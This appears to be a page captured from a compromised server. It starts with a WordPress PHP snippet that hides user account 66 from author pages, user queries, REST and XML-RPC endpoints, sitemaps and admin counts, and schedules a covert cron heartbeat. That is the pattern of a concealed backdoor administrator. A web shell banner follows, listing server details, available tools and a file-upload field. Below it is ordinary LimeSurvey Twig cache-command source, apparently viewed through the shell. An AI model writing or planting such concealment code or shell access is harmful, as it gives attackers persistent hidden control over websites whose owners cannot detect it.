add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/limesurvey/application/commands/ |
Upload File : |
<?php
/**
* This class will generate all the twig cache file from command line, even if LimeSurvey is not installed.
* The current use case is to generate the translation files using Glot Press.
* In the future, it could be use to boost performance of first survey rendering (can be useful after a tmp cleanup, an update, etc).
*
* To execute this command :
* php application/commands/console.php Twig generateTwigTmpFiles
*
* It will execute all the functions
*/
class TwigCommand extends CConsoleCommand
{
public $aLogs; // Array of logs
/**
* Load the needed helpers, set default vaules, etc
*/
public function init()
{
// Needed helpers for correct rendering
Yii::import('application.helpers.surveytranslator_helper', true);
Yii::import('application.helpers.common_helper', true);
Yii::import('application.helpers.expressions.em_manager_helper', true);
Yii::import('application.helpers.admin.htmleditor_helper', true);
// Directories where the assets will be created.
Yii::app()->assetManager->setBasePath(realpath(__DIR__ . '/../../tmp/assets/'));
// This command can be used even with no DB installed. So we force the usage of config.xml rather than DB entries
Yii::app()->setConfig('force_xmlsettings_for_survey_rendering', true);
}
public function actionIndex()
{
echo "This class will generate all the twig cache file from command line, even if LimeSurvey is not installed.\n";
echo "The current use case is to generate the translation files using Glot Press.\n";
echo "In the future, it could be use to boost performance of first survey rendering (can be useful after a tmp cleanup, an update, etc).\n";
echo "\n";
echo "\n";
echo "To execute this command :\n";
echo "php application/commands/console.php Twig generateTwigTmpFiles \n";
}
/**
* Generate twig cache files for each core Survey Theme and core questions views.
*/
public function actionGenerateTwigTmpFiles($sThemeDir = null, $bGenerateSurveyCache = true, $bGenerateQuestionsCache = true, $bGenerateAdminCache = true, $bGenerateQuestionThemeCache = true)
{
$this->aLogs = array();
$this->aLogs["action"] = "actionGenerateTwigTmpFiles $sThemeDir $bGenerateSurveyCache $bGenerateQuestionsCache $bGenerateAdminCache $bGenerateQuestionThemeCache";
if ($bGenerateSurveyCache) {
$this->actionGenerateSurveyThemesCache($sThemeDir);
}
if ($bGenerateQuestionsCache) {
$this->actionGenerateQuestionsCache(null);
}
if ($bGenerateAdminCache) {
$this->actionGenerateAdminCache(null);
}
if ($bGenerateQuestionThemeCache) {
$this->actionGenerateQuestionThemesCache($sThemeDir);
}
}
/**
* Generate twig cache files for each core survey theme
*
* @param string $sThemeDir the directory to parse, where to find the manifests.
*/
public function actionGenerateSurveyThemesCache($sThemeDir = null)
{
$this->aLogs["action"] = "actionGenerateSurveyThemesCache $sThemeDir";
// NOTE 1: by default used only for core theme.
// NOTE 2: Later, we'll can use this function to offer to generate .po files for themes developers
$sThemeDir = ($sThemeDir == null) ? dirname(__FILE__) . '/../../themes/survey' : $sThemeDir;
$oThemeDir = new DirectoryIterator($sThemeDir);
foreach ($oThemeDir as $fileinfo) {
if ($fileinfo->getFilename() != ".." && $fileinfo->getFilename() != "." && $fileinfo->getFilename() != "index.html") {
$templatename = $fileinfo->getFilename();
$oTemplateForPreview = Template::getInstance($templatename, null, null, true, true)->prepareTemplateRendering($templatename, null, true);
// Render Survey theme
$this->renderSurveyTheme($oTemplateForPreview);
// Render all the twig strings inside the XML itself
$this->renderSurveyThemeManifest($oTemplateForPreview);
}
}
}
/**
* Generate twig cache files for each question type.
* NOTE 1: It's a recursive function, since some directories are the question type itself (it has an answer.twig file) but other containes various question types as subdirectories.
* NOTE 2: Currenlty arrays are skipped. We need to set default data, so it will be done in LS4, at the same time than Question Theme Editor.
*
* @param string $sQuestionDir the directory to parse, where to find the answer.twig file.
*/
public function actionGenerateQuestionsCache($sQuestionDir = null)
{
$this->aLogs["action"] = "actionGenerateQuestionsCache $sQuestionDir";
// Generate cache for question theme
$sQuestionDir = $sQuestionDir ?? dirname(__FILE__) . '/../views/survey/questions/answer';
$oQuestionDir = new DirectoryIterator($sQuestionDir);
foreach ($oQuestionDir as $fileinfo) {
if ($fileinfo->getFilename() != ".." && $fileinfo->getFilename() != "." && $fileinfo->getFilename() != "index.html") {
$sQuestionName = $fileinfo->getFilename();
$sQuestionDirectory = $sQuestionDir . DIRECTORY_SEPARATOR . $sQuestionName;
/**
* TODO for ls4/ls5:
* - get the Question XML rather than answer.twig
* - load the default data from the XML
*
* NOTE 1: as long as this is not done, it's highly probable that some twig files will never be reached (Ex: Conditionally included twig files).
*
* NOTE 2: It should be possible to parse the XML to get the different values for the attributes, and then to generate a cache file for each attribue possible value.
* Doing this could allow to test easily the rendering for all question type, with all question attribute variations.
* Since we're very far to get this with Unit Test (it will imlpy to write around 1000 tests in a row), it could be a first step.
* One way to do: for a stable version, save the rendered HTML somwhere, then in unitest, call this function, compare the rendered HTML to the saved one.
* Enjoy the 1000 test in a single one :) (sadly, only for HTML rendering, not for JS or DB saving)
*/
$sTwigFile = $sQuestionDirectory . DIRECTORY_SEPARATOR . "answer.twig";
$aQuestionData = array(); // See todo
if (file_exists($sTwigFile)) {
$this->aLogs[$sQuestionName] = "$sTwigFile";
$line = file_get_contents($sTwigFile);
$sHtml = Yii::app()->twigRenderer->convertTwigToHtml($line, $aQuestionData);
} elseif (is_dir($sQuestionDirectory) && $sQuestionName != "arrays") {
// Recursive step
$this->actionGenerateQuestionsCache($sQuestionDirectory);
}
}
}
}
/**
* Generate twig cache files for admin views.
* NOTE: It's a recursive function which build every twig file in admin area.
*
* @param string $sAdminDir the directory to parse, where to find the twig files.
*/
public function actionGenerateAdminCache($sAdminDir = null)
{
$this->aLogs["action"] = "actionGenerateAdminCache $sAdminDir";
// Generate cache for admin area
// Set directories to search for twig files
$directories = array(
dirname(__FILE__) . '/../views/admin',
dirname(__FILE__) . '/../views/questionAdministration',
);
foreach ($directories as $sAdminDir) {
$sAdminDir = $sAdminDir ?? dirname(__FILE__) . '/../views/admin';
$oAdminDirectory = new RecursiveDirectoryIterator($sAdminDir);
$oAdminIterator = new RecursiveIteratorIterator($oAdminDirectory);
$oAdminRegex = new RegexIterator($oAdminIterator, '/^.+\.twig$/i', RecursiveRegexIterator::GET_MATCH);
$aAdminData = array();
foreach ($oAdminRegex as $oTwigFile) {
$sTwigFile = $oTwigFile[0];
if (file_exists($sTwigFile)) {
$this->aLogs["twig"] = "$sTwigFile";
$line = file_get_contents($sTwigFile);
$sHtml = Yii::app()->twigRenderer->convertTwigToHtml($line);
}
}
}
}
/**
* Generate twig cache files for each core question theme
*
* @param string $themesRootDir the directory to parse, where to find the manifests.
*/
public function actionGenerateQuestionThemesCache($themesRootDir = null)
{
$this->aLogs["action"] = "actionGenerateQuestionThemesCache $themesRootDir";
$themesRootDir = ($themesRootDir == null) ? dirname(__FILE__) . '/../../themes/question' : $themesRootDir;
// Iterate over all folders in the themes root dir (first level only)
$themesRootDirIterator = new DirectoryIterator($themesRootDir);
foreach ($themesRootDirIterator as $fileinfo) {
// Skip files as well as ".." and "."
if (!$fileinfo->isDir() || $fileinfo->getFilename() == ".." || $fileinfo->getFilename() == ".") {
continue;
}
$themeName = $fileinfo->getFilename();
$themeDir = $fileinfo->getPathname();
// Get paths to folders containing config.xml files inside this theme.
$questionPaths = $this->getQuestionThemePaths($themeDir);
$loader = Yii::app()->twigRenderer->getLoader();
foreach ($questionPaths as $themePath) {
/**
* TODO for LS5:
* - load the default data from the XML
*
* NOTE 1: as long as this is not done, it's highly probable that some twig files will never be reached (Ex: Conditionally included twig files).
*/
$twigFile = $themePath . DIRECTORY_SEPARATOR . "answer.twig";
$questionData = []; // See todo
if (file_exists($twigFile)) {
$this->aLogs[$themeName] = "$twigFile";
$line = file_get_contents($twigFile);
// We need to add the theme directory to the Twig loader paths.
// Keep the original paths to restore them later
$originalTwigPaths = $loader->getPaths();
// Add the path
$loader->addPath($themeDir);
// Convert the twig to generate the cache
Yii::app()->twigRenderer->convertTwigToHtml($line, $questionData);
// Restore paths
$loader->setPaths($originalTwigPaths);
}
}
}
}
/**
* Generate the cache for a given survey theme
* @param TemplateManifest
*/
private function renderSurveyTheme($oTemplateForPreview)
{
$thissurvey = $oTemplateForPreview->getDefaultDataForRendering();
$thissurvey['templatedir'] = $oTemplateForPreview->sTemplateName; // $templatename;
$aScreenList = $oTemplateForPreview->getScreensDetails();
foreach ($aScreenList as $sScreenName => $aTitleAndLayouts) {
foreach ($aTitleAndLayouts['layouts'] as $sLayout => $sContent) {
$this->aLogs[$oTemplateForPreview->sTemplateName][$sScreenName][$sLayout] = $sContent;
$sLayoutFile = $sLayout ;
$thissurvey['include_content'] = $sContent;
$myoutput = Yii::app()->twigRenderer->renderTemplateForTemplateEditor(
$sLayoutFile,
array(
'aSurveyInfo' => $thissurvey,
),
$oTemplateForPreview
);
}
}
}
/**
* Generate the cache for the twig strings inside the manifest itself
* @param TemplateManifest
*/
private function renderSurveyThemeManifest($oTemplateForPreview)
{
// So the twig string inside the theme manifest will be added to the .po file
$aTwigFromXml = $oTemplateForPreview->getTwigStrings();
foreach ($aTwigFromXml as $sTwig) {
Yii::app()->twigRenderer->convertTwigToHtml($sTwig);
}
$this->aLogs[$oTemplateForPreview->sTemplateName]['manifest'] = "done";
}
/**
* Finds all subfolders of $questionThemeDirectory containing XML files
* @param string $questionThemeDirectory
* @return array
*/
private function getQuestionThemePaths($questionThemeDirectory)
{
$questionDirectoriesAndPaths = [];
$directory = new RecursiveDirectoryIterator($questionThemeDirectory);
$iterator = new RecursiveIteratorIterator($directory);
foreach ($iterator as $info) {
if ($info->getFileName() == 'config.xml') {
$questionDirectoriesAndPaths[] = dirname((string) $info->getPathname());
}
}
return $questionDirectoriesAndPaths;
}
}